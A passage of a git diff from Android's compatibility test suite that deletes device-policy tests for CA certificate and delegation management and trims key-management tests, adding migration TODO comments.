-                    RESTRICTIONS_TIMEOUT_SECONDS, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            fail("waitForRestrictionsChangedBroadcast() interrupted");
-        }
-
-        return mUserManager.getApplicationRestrictions(mContext.getPackageName());
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
deleted file mode 100644
index 7097050..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/CaCertManagementTest.java
+++ /dev/null
@@ -1,205 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import static com.android.compatibility.common.util.FakeKeys.FAKE_DSA_1;
-import static com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.net.http.X509TrustManagerExtensions;
-
-import java.io.ByteArrayInputStream;
-import java.security.GeneralSecurityException;
-import java.security.KeyStore;
-import java.security.cert.Certificate;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.util.Arrays;
-import java.util.List;
-
-import javax.net.ssl.TrustManager;
-import javax.net.ssl.TrustManagerFactory;
-import javax.net.ssl.X509TrustManager;
-
-public class CaCertManagementTest extends BaseDeviceAdminTest {
-    private final ComponentName mAdmin = ADMIN_RECEIVER_COMPONENT;
-
-    /**
-     * Test: device admins should be able to list all installed certs.
-     *
-     * <p>The list of certificates must never be {@code null}.
-     */
-    public void testCanRetrieveListOfInstalledCaCerts() {
-        List<byte[]> caCerts = mDevicePolicyManager.getInstalledCaCerts(mAdmin);
-        assertNotNull(caCerts);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        uninstallAllUserCaCerts();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        uninstallAllUserCaCerts();
-        super.tearDown();
-    }
-
-    /**
-     * Test: a valid cert should be installable and also removable.
-     */
-    public void testCanInstallAndUninstallACaCert() throws GeneralSecurityException {
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
-        assertInstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        uninstallCaCert(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-    }
-
-    /**
-     * Test: removing one certificate must not remove any others.
-     */
-    public void testUninstallationIsSelective() throws GeneralSecurityException {
-        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
-        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
-
-        uninstallCaCert(FAKE_DSA_1.caCertificate);
-        assertInstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-
-        uninstallCaCert(FAKE_RSA_1.caCertificate);
-    }
-
-    /**
-     * Test: uninstallAllUserCaCerts should be equivalent to calling uninstallCaCert on every
-     * supplementary installed certificate.
-     */
-    public void testCanUninstallAllUserCaCerts() throws GeneralSecurityException {
-        assertTrue(installCaCert(FAKE_RSA_1.caCertificate));
-        assertTrue(installCaCert(FAKE_DSA_1.caCertificate));
-
-        uninstallAllUserCaCerts();
-        assertUninstalled(FAKE_RSA_1.caCertificate);
-        assertUninstalled(FAKE_DSA_1.caCertificate);
-    }
-
-    private void assertInstalled(byte[] caBytes) throws GeneralSecurityException {
-        assertTrue(isCaCertInstalledAndTrusted(caBytes));
-    }
-
-    private void assertUninstalled(byte[] caBytes) throws GeneralSecurityException {
-        assertFalse(isCaCertInstalledAndTrusted(caBytes));
-    }
-
-    private static X509TrustManager getFirstX509TrustManager(TrustManagerFactory tmf) {
-        for (TrustManager trustManager : tmf.getTrustManagers()) {
-             if (trustManager instanceof X509TrustManager) {
-                 return (X509TrustManager) trustManager;
-             }
-        }
-        throw new RuntimeException("Unable to find X509TrustManager");
-    }
-
-    /**
-     * Whether a given cert, or one a lot like it, has been installed system-wide and is available
-     * to all apps.
-     *
-     * <p>A CA certificate is "installed" if it matches all of the following conditions:
-     * <ul>
-     *   <li>{@link DevicePolicyManager#hasCaCertInstalled} returns {@code true}.</li>
-     *   <li>{@link DevicePolicyManager#getInstalledCaCerts} lists a matching certificate (not
-     *       necessarily exactly the same) in its response.</li>
-     *   <li>Any new instances of {@link TrustManager} should report the certificate among their
-     *       accepted issuer list -- older instances may keep the set of issuers they were created
-     *       with until explicitly refreshed.</li>
-     *
-     * @return {@code true} if installed by all metrics, {@code false} if not installed by any
-     *         metric. In any other case an {@link AssertionError} will be thrown.
-     */
-    private boolean isCaCertInstalledAndTrusted(byte[] caBytes) throws GeneralSecurityException {
-        Certificate caCert = readCertificate(caBytes);
-        boolean installed = mDevicePolicyManager.hasCaCertInstalled(mAdmin, caCert.getEncoded());
-
-        boolean listed = false;
-        for (byte[] certBuffer : mDevicePolicyManager.getInstalledCaCerts(mAdmin)) {
-            if (caCert.equals(readCertificate(certBuffer))) {
-                listed = true;
-            }
-        }
-
-        // Verify that the user added CA is reflected in the default X509TrustManager.
-        final TrustManagerFactory tmf =
-                TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
-        // Use platform provided CA store.
-        tmf.init((KeyStore) null);
-        X509TrustManager tm = getFirstX509TrustManager(tmf);
-        boolean trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
-
-        // Maximal time to wait until the certificate is found to be in the accepted
-        // issuers list before declaring test failure.
-        final int maxWaitForCertificateTrustedSec = 15;
-
-        // All three responses should match - if an installed certificate isn't trusted or (worse)
-        // a trusted certificate isn't even installed we should fail now, loudly.
-        assertEquals(installed, listed);
-        int numTries = 0;
-        while (numTries < (maxWaitForCertificateTrustedSec * 20) && (installed != trusted)) {
-            try {
-                Thread.sleep(100);
-                trusted = Arrays.asList(tm.getAcceptedIssuers()).contains(caCert);
-                numTries++;
-            } catch (InterruptedException e) {
-                break;
-            }
-        }
-        assertEquals(installed, trusted);
-
-        X509TrustManagerExtensions xtm = new X509TrustManagerExtensions(tm);
-        boolean userAddedCertificate = xtm.isUserAddedCertificate((X509Certificate) caCert);
-        assertEquals(installed, userAddedCertificate);
-        return installed;
-    }
-
-    /**
-     * Convert an encoded certificate back into a {@link Certificate}.
-     *
-     * Instantiates a fresh CertificateFactory every time for repeatability.
-     */
-    private static Certificate readCertificate(byte[] certBuffer) throws CertificateException {
-        final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
-        return certFactory.generateCertificate(new ByteArrayInputStream(certBuffer));
-    }
-
-    private boolean installCaCert(byte[] caCertificate) {
-        return mDevicePolicyManager.installCaCert(mAdmin, caCertificate);
-    }
-
-    private void uninstallCaCert(byte[] caCertificate) {
-        mDevicePolicyManager.uninstallCaCert(mAdmin, caCertificate);
-    }
-
-    private void uninstallAllUserCaCerts() {
-        mDevicePolicyManager.uninstallAllUserCaCerts(mAdmin);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
deleted file mode 100644
index 08caddd..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegationTest.java
+++ /dev/null
@@ -1,305 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.deviceandprofileowner;
-
-import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
-import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
-import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
-import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
-import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
-import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
-import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
-import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertThrows;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Process;
-import android.os.UserManager;
-import android.test.MoreAsserts;
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-
-/**
- * Test that an app granted delegation scopes via {@link DevicePolicyManager#setDelegatedScopes} is
- * notified of its new scopes by a broadcast.
- */
-public class DelegationTest extends BaseDeviceAdminTest {
-    private static final String TAG = "DelegationTest";
-
-    private static final String DELEGATE_PKG = "com.android.cts.delegate";
-    private static final String DELEGATE_ACTIVITY_NAME =
-            DELEGATE_PKG + ".DelegatedScopesReceiverActivity";
-    private static final String DELEGATE_SERVICE_NAME =
-            DELEGATE_PKG + ".DelegatedScopesReceiverService";
-    private static final String TEST_PKG = "com.android.cts.apprestrictions.targetapp";
-
-    // Broadcasts received from the delegate app.
-    private static final String ACTION_REPORT_SCOPES = "com.android.cts.delegate.report_scopes";
-    private static final String ACTION_RUNNING = "com.android.cts.delegate.running";
-
-    // Semaphores to synchronize communication with delegate app.
-    private volatile String[] mReceivedScopes;
-    private Semaphore mReceivedScopeReportSemaphore;
-    private Semaphore mReceivedRunningSemaphore;
-
-    // Receiver for incoming broadcasts from the delegate app.
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Log.v(TAG, "onReceive(): " + intent.getAction() + " on user " + Process.myUserHandle());
-            if (ACTION_REPORT_SCOPES.equals(intent.getAction())) {
-                synchronized (DelegationTest.this) {
-                    mReceivedScopes = intent.getStringArrayExtra(EXTRA_DELEGATION_SCOPES);
-                    mReceivedScopeReportSemaphore.release();
-                }
-            } else if (ACTION_RUNNING.equals(intent.getAction())) {
-                synchronized (DelegationTest.this) {
-                    mReceivedRunningSemaphore.release();
-                }
-            }
-        }
-    };
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mReceivedScopeReportSemaphore = new Semaphore(0);
-        mReceivedRunningSemaphore = new Semaphore(0);
-        mReceivedScopes = null;
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ACTION_REPORT_SCOPES);
-        filter.addAction(ACTION_RUNNING);
-        mContext.registerReceiver(mReceiver, filter);
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        mContext.unregisterReceiver(mReceiver);
-
-        setDelegatedScopes(TEST_PKG, Collections.emptyList());
-        setDelegatedScopes(DELEGATE_PKG, Collections.emptyList());
-
-        super.tearDown();
-    }
-
-    public void testDelegateReceivesScopeChangedBroadcast() throws InterruptedException {
-        if (UserManager.isHeadlessSystemUserMode()) {
-            // TODO(b/197907392): this test launched an activity to receive the broadcast from DPM,
-            // but headless system user cannot launch activity. To make things worse, the intent
-            // is only sent to registered receivers, so we cannot use the existing receivers from
-            // DpmWrapper, we would need to start a service on user 0 to receive the broadcast,
-            // which would require a lot of changes:
-            // - calling APIs / Shell commands to allow an app in the bg to start a service
-            // - add a "launchIntent()" method on DpmWrapper so the intent is launched by user 0
-            //
-            // It might not be worth to make these changes, but rather wait for the test refactoring
-            Log.w(TAG, "Skipping testDelegateReceivesScopeChangedBroadcast() on headless system "
-                    + "user mode");
-            return;
-        }
-
-        // Prepare the scopes to be delegated.
-        final List<String> scopes = Arrays.asList(
-                DELEGATION_CERT_INSTALL,
-                DELEGATION_APP_RESTRICTIONS,
-                DELEGATION_BLOCK_UNINSTALL,
-                DELEGATION_ENABLE_SYSTEM_APP);
-
-        // Start delegate so it can receive the scopes changed broadcast from DevicePolicyManager.
-        startAndWaitDelegateActivity();
-
-        // Set the delegated scopes.
-        setDelegatedScopes(DELEGATE_PKG, scopes);
-
-        // Wait until the delegate reports its new scopes.
-        String reportedScopes[] = waitReportedScopes();
-
-        // Check that the reported scopes correspond to scopes we delegated.
-        assertNotNull("Received null scopes from delegate", reportedScopes);
-        MoreAsserts.assertContentsInAnyOrder("Delegated scopes do not match broadcasted scopes",
-                scopes, reportedScopes);
-    }
-
-    public void testCantDelegateToUninstalledPackage() {
-        // Prepare the package name and scopes to be delegated.
-        final String NON_EXISTENT_PKG = "com.android.nonexistent.delegate";
-        final List<String> scopes = Arrays.asList(
-                DELEGATION_CERT_INSTALL,
-                DELEGATION_ENABLE_SYSTEM_APP);
-        try {
-            // Trying to delegate to non existent package should throw.
-            setDelegatedScopes(NON_EXISTENT_PKG, scopes);
-            fail("Should throw when delegating to non existent package");
-        } catch(IllegalArgumentException expected) {
-        }
-        // Assert no scopes were delegated.
-        assertTrue("Delegation scopes granted to non existent package", mDevicePolicyManager
-                .getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, NON_EXISTENT_PKG).isEmpty());
-    }
-
-    public void testCanRetrieveDelegates() {
-        final List<String> someScopes = Arrays.asList(
-                DELEGATION_APP_RESTRICTIONS,
-                DELEGATION_ENABLE_SYSTEM_APP);
-        final List<String> otherScopes = Arrays.asList(
-                DELEGATION_BLOCK_UNINSTALL,
-                DELEGATION_ENABLE_SYSTEM_APP);
-
-        // In the beginning there are no delegates.
-        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
-                .isEmpty());
-        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
-                .isEmpty());
-        assertTrue("No delegates should be found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
-                .isEmpty());
-
-        // After delegating scopes to two packages.
-        setDelegatedScopes(DELEGATE_PKG, someScopes);
-        setDelegatedScopes(TEST_PKG, otherScopes);
-
-        // The expected delegates are returned.
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
-                .contains(DELEGATE_PKG));
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
-                .contains(TEST_PKG));
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
-                .contains(DELEGATE_PKG));
-        assertTrue("Expected delegate not found", getDelegatePackages(DELEGATION_ENABLE_SYSTEM_APP)
-                .contains(TEST_PKG));
-
-        // Packages are only returned in their recpective scopes.
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_APP_RESTRICTIONS)
-                .contains(TEST_PKG));
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_BLOCK_UNINSTALL)
-                .contains(DELEGATE_PKG));
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
-                .contains(DELEGATE_PKG));
-        assertFalse("Unexpected delegate package", getDelegatePackages(DELEGATION_CERT_INSTALL)
-                .contains(TEST_PKG));
-    }
-
-    public void testDeviceOwnerOrManagedPoOnlyDelegations() throws Exception {
-        final String [] doOrManagedPoDelegations = { DELEGATION_NETWORK_LOGGING };
-        final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
-                mContext.getPackageName());
-        final boolean isManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
-                && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT);
-        for (String scope : doOrManagedPoDelegations) {
-            if (isDeviceOwner || isManagedProfileOwner) {
-                try {
-                    setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope));
-                } catch (SecurityException e) {
-                    fail("DO or managed PO fails to delegate " + scope + " exception: " + e);
-                    Log.e(TAG, "DO or managed PO fails to delegate " + scope, e);
-                }
-            } else {
-                assertThrows("PO not in a managed profile shouldn't be able to delegate " + scope,
-                        SecurityException.class,
-                        () -> setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope)));
-            }
-        }
-    }
-
-    public void testDeviceOwnerOrOrgOwnedManagedPoOnlyDelegations() throws Exception {
-        final String [] doOrOrgOwnedManagedPoDelegations = { DELEGATION_SECURITY_LOGGING };
-        final boolean isDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(
-                mContext.getPackageName());
-        final boolean isOrgOwnedManagedProfileOwner = mDevicePolicyManager.getProfileOwner() != null
-                && mDevicePolicyManager.isManagedProfile(ADMIN_RECEIVER_COMPONENT)
-                && mDevicePolicyManager.isOrganizationOwnedDeviceWithManagedProfile();
-        for (String scope : doOrOrgOwnedManagedPoDelegations) {
-            if (isDeviceOwner || isOrgOwnedManagedProfileOwner) {
-                try {
-                    setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope));
-                } catch (SecurityException e) {
-                    fail("DO or organization-owned managed PO fails to delegate " + scope
-                            + " exception: " + e);
-                    Log.e(TAG, "DO or organization-owned managed PO fails to delegate " + scope, e);
-                }
-            } else {
-                assertThrows("PO not in an organization-owned managed profile shouldn't be able to "
-                        + "delegate " + scope,
-                        SecurityException.class,
-                        () -> setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope)));
-            }
-        }
-    }
-
-    public void testExclusiveDelegations() throws Exception {
-        final List<String> exclusiveDelegations = new ArrayList<>(Arrays.asList(
-                DELEGATION_CERT_SELECTION));
-        if (mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName())) {
-            exclusiveDelegations.add(DELEGATION_NETWORK_LOGGING);
-            exclusiveDelegations.add(DELEGATION_SECURITY_LOGGING);
-        }
-        for (String scope : exclusiveDelegations) {
-            testExclusiveDelegation(scope);
-        }
-    }
-
-    private void testExclusiveDelegation(String scope) throws Exception {
-
-        setDelegatedScopes(DELEGATE_PKG, Collections.singletonList(scope));
-        // Set exclusive scope on TEST_PKG should lead to the scope being removed from the
-        // previous delegate DELEGATE_PKG
-        setDelegatedScopes(TEST_PKG, Collections.singletonList(scope));
-
-
-        assertThat(mDevicePolicyManager.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, TEST_PKG))
-                .containsExactly(scope);
-        assertThat(mDevicePolicyManager.getDelegatedScopes(ADMIN_RECEIVER_COMPONENT, DELEGATE_PKG))
-                .isEmpty();
-    }
-
-    private List<String> getDelegatePackages(String scope) {
-        List<String> packages = mDevicePolicyManager.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
-                scope);
-        Log.v(TAG, "getDelegatePackages(" + scope + "): " + packages);
-        return packages;
-    }
-
-    private void startAndWaitDelegateActivity() throws InterruptedException {
-        ComponentName componentName = new ComponentName(DELEGATE_PKG, DELEGATE_ACTIVITY_NAME);
-        Log.d(TAG, "Starting " + componentName + " on user " + Process.myUserHandle());
-        mContext.startActivity(new Intent()
-                .setComponent(componentName)
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK));
-        assertTrue("DelegateApp did not start in time.",
-                mReceivedRunningSemaphore.tryAcquire(10, TimeUnit.SECONDS));
-    }
-
-    private String[] waitReportedScopes() throws InterruptedException {
-        assertTrue("DelegateApp did not report scope in time.",
-                mReceivedScopeReportSemaphore.tryAcquire(10, TimeUnit.SECONDS));
-        return mReceivedScopes;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index 1568b33..eebc2bd 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -25,8 +25,6 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.testng.Assert.assertThrows;
-
 import static java.util.Collections.singleton;
 
 import android.content.ComponentName;
@@ -57,7 +55,6 @@
 import java.io.UnsupportedEncodingException;
 import java.net.URLEncoder;
 import java.security.GeneralSecurityException;
-import java.security.InvalidKeyException;
 import java.security.KeyFactory;
 import java.security.KeyPair;
 import java.security.NoSuchAlgorithmException;
@@ -85,7 +82,6 @@
     private static final long KEYCHAIN_TIMEOUT_MINS = 6;
 
     private static final String TEST_ALIAS = "KeyManagementTest-keypair";
-    private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
 
     private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
     private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
@@ -136,34 +132,27 @@
         super.tearDown();
     }
 
+    // TODO(b/204544463): Remove when installKeyPair_withAutomatedAccess_aliasIsGranted is enabled
     public void testCanInstallWithAutomaticAccess() throws Exception {
         final String grant = "com.android.test.autogrant-key-1";
-        final String withhold = "com.android.test.nongrant-key-1";
 
-        // Install keypairs.
+        // Install keypair.
         assertThat(
                 mDevicePolicyManager.installKeyPair(
                         getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, grant, true))
                 .isTrue();
-        assertThat(
-                mDevicePolicyManager.installKeyPair(
-                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, withhold, false))
-                .isTrue();
         try {
-            // Verify only the requested key was actually granted.
+            // Verify the requested key was actually granted.
             assertGranted(grant, true);
-            assertGranted(withhold, false);
 
             // Verify the granted key is actually obtainable in PrivateKey form.
             assertThat(KeyChain.getPrivateKey(mActivity, grant).getAlgorithm()).isEqualTo("RSA");
         } finally {
-            // Delete both keypairs.
+            // Delete the keypair.
             assertThat(mDevicePolicyManager.removeKeyPair(getWho(), grant)).isTrue();
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), withhold)).isTrue();
         }
-        // Verify they're actually gone.
+        // Verify it's actually gone.
         assertGranted(grant, false);
-        assertGranted(withhold, false);
     }
 
     private List<Certificate> loadCertificateChain(String assetName) throws Exception {
@@ -204,35 +193,6 @@
         assertGranted(alias, false);
     }
 
-    public void testGrantsDoNotPersistBetweenInstallations() throws Exception {
-        final String alias = "com.android.test.persistent-key-1";
-
-        // Install keypair.
-        assertThat(
-                mDevicePolicyManager.installKeyPair(
-                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, true))
-                .isTrue();
-        try {
-            assertGranted(alias, true);
-        } finally {
-            // Delete and verify.
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
-        }
-        assertGranted(alias, false);
-
-        // Install again.
-        assertThat(
-                mDevicePolicyManager.installKeyPair(
-                        getWho(), mFakePrivKey, new Certificate[] {mFakeCert}, alias, false))
-                .isTrue();
-        try {
-            assertGranted(alias, false);
-        } finally {
-            // Delete.
-            assertThat(mDevicePolicyManager.removeKeyPair(getWho(), alias)).isTrue();
-        }
-    }
-
     byte[] signDataWithKey(String algoIdentifier, PrivateKey privateKey) throws Exception {
         byte[] data = new String("hello").getBytes();
         Signature sign = Signature.getInstance(algoIdentifier);
@@ -279,6 +239,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateRSAKeyPairUsingStrongBox() throws Exception {
         final String alias = "com.android.test.generated-rsa-sb-1";
         try {
@@ -300,6 +261,7 @@
             .build();
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateECKeyPair() throws Exception {
         final String alias = "com.android.test.generated-ec-1";
         try {
@@ -312,6 +274,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateECKeyPairUsingStrongBox() throws Exception {
         final String alias = "com.android.test.generated-ec-sb-1";
         try {
@@ -457,7 +420,11 @@
      * Test key generation, including requesting Key Attestation, for all supported key
      * algorithms.
      */
+    // TODO(b/198408853): Migrate
     public void testCanGenerateKeyPairWithKeyAttestation() throws Exception {
+        if (!isAttestationSupported()) {
+            return;
+        }
         for (SupportedKeyAlgorithm supportedKey : SUPPORTED_KEY_ALGORITHMS) {
             assertThat(
                     generateKeyAndCheckAttestation(
@@ -470,6 +437,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanGenerateKeyPairWithKeyAttestationUsingStrongBox() throws Exception {
         try {
             for (SupportedKeyAlgorithm supportedKey : SUPPORTED_KEY_ALGORITHMS) {
@@ -577,6 +545,7 @@
         assertAllVariantsOfDeviceIdAttestation(true /* useStrongBox */);
     }
 
+    // TODO(b/198408853): Migrate
     public void testProfileOwnerCannotAttestDeviceUniqueIds() throws Exception {
         if (isDeviceOwner()) {
             return;
@@ -601,6 +570,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testUniqueDeviceAttestationUsingDifferentAttestationCert() throws Exception {
         // This test is only applicable in modes where Device ID attestation can be performed
         // _and_ the device has StrongBox, which is provisioned with individual attestation
@@ -662,6 +632,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testUniqueDeviceAttestationFailsWhenUnsupported() {
         if (!isDeviceOwner() || !hasStrongBox()) {
             return;
@@ -693,6 +664,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanSetKeyPairCert() throws Exception {
         final String alias = "com.android.test.set-ec-1";
         try {
@@ -724,6 +696,7 @@
         }
     }
 
+    // TODO(b/198408853): Migrate
     public void testCanSetKeyPairCertChain() throws Exception {
         final String alias = "com.android.test.set-ec-2";
         try {
@@ -751,43 +724,6 @@
         }
     }
 
-    public void testGetKeyPairGrants_NonExistent() {
-        assertThrows(IllegalArgumentException.class,
-                () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
-    }
-
-    public void testGetKeyPairGrants_NotGranted() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
-    }
-
-    public void testGetKeyPairGrants_GrantedAtInstall() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ true);
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
-                .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
-    }
-
-    public void testGetKeyPairGrants_GrantedExplicitly() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
-                .isEqualTo(Map.of(Process.myUid(), singleton(getWho().getPackageName())));
-    }
-
-    public void testGetKeyPairGrants_Revoked() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ true);
-        mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
-        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
-    }
-
     public void testGetKeyPairGrants_SharedUid() throws Exception {
         mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
                 TEST_ALIAS, /* requestAccess= */ false);
@@ -811,43 +747,6 @@
                 sharedUid, Set.of(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
     }
 
-    public void testIsWifiGrant_default() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-
-        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
-    }
-
-    public void testIsWifiGrant_allowed() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-        assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
-
-        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isTrue();
-    }
-
-    public void testIsWifiGrant_denied() {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
-                TEST_ALIAS, /* requestAccess= */ false);
-        assertTrue(mDevicePolicyManager.grantKeyPairToWifiAuth(TEST_ALIAS));
